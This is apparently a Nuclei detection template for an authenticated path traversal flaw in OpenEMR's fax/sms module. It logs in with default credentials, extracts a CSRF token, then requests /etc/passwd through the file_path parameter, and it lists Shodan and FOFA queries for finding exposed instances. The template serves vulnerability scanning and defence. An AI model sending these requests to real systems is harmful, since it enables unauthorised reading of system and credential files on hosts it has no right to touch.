id: CVE-2026-124450 info: name: OpenEMR FaxSMS Module - Authenticated Arbitrary File Read via disposeDocument author: DhiyaneshDK severity: high description: | OpenEMR before 8.3.0 contains a broken access control and path traversal vulnerability in the fax/sms module disposeDocument action via an unvalidated file_path parameter. Authenticated low-privilege users can read sqlconf.php to recover database credentials and write arbitrary files as the web user, enabling remote code execution. impact: | Authenticated low-privilege users can read database credentials and execute arbitrary code, potentially leading to full system compromise. remediation: | Upgrade to OpenEMR 8.3.0 or later. reference: - https://github.com/Nxploited/CVE-2026-124450 - https://github.com/advisories/GHSA-x2vr-jgg8-c57c - https://github.com/advisories/GHSA-wf4w-mx2w-j4vv - https://nvd.nist.gov/vuln/detail/CVE-2026-124450 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2026-124450 epss-score: 0.03183 epss-percentile: 0.88397 cwe-id: CWE-22 metadata: verified: true max-request: 4 vendor: openemr product: openemr shodan-query: http.title:"OpenEMR" fofa-query: title="OpenEMR" tags: cve,cve2026,openemr,lfi,authenticated,vkev variables: username: "admin" password: "pass" flow: http(1) && http(2) && http(3) && http(4) http: - raw: - | GET /interface/login/login.php?site=default HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - "OpenEMR" internal: true - raw: - | POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded new_login_session_management=1&authProvider=Default&authUser={{username}}&clearPass={{password}}&languageChoice=1 host-redirects: true max-redirects: 2 matchers: - type: word part: body words: - "encounter" - "main_screen" - "Logout" condition: or internal: true - raw: - | GET /interface/modules/custom_modules/oe-module-faxsms/messageUI.php?type=fax&site=default HTTP/1.1 Host: {{Hostname}} matchers: - type: status status: - 200 internal: true extractors: - type: regex name: csrf_token part: body internal: true group: 1 regex: - 'csrfToken\s*=\s*["\x27]([a-f0-9]{20,})["\x27]' - 'name="csrf_token_form"[^>]*value="([^"]+)"' - raw: - | GET /interface/modules/custom_modules/oe-module-faxsms/index.php?_ACTION_COMMAND=disposeDocument&type=fax&action=download&file_path=/etc/passwd&csrf_token_form={{csrf_token}}&site=default HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100a6263adef602b1296b3aecda8e6284df79712c39a8617d12a7fc564fcb7d42fe022047660c43b09c15bf7205ce73e15b16142cb9df664ecaf102aeae49c95b0efeff:922c64590222798bb761d5b6d8e72950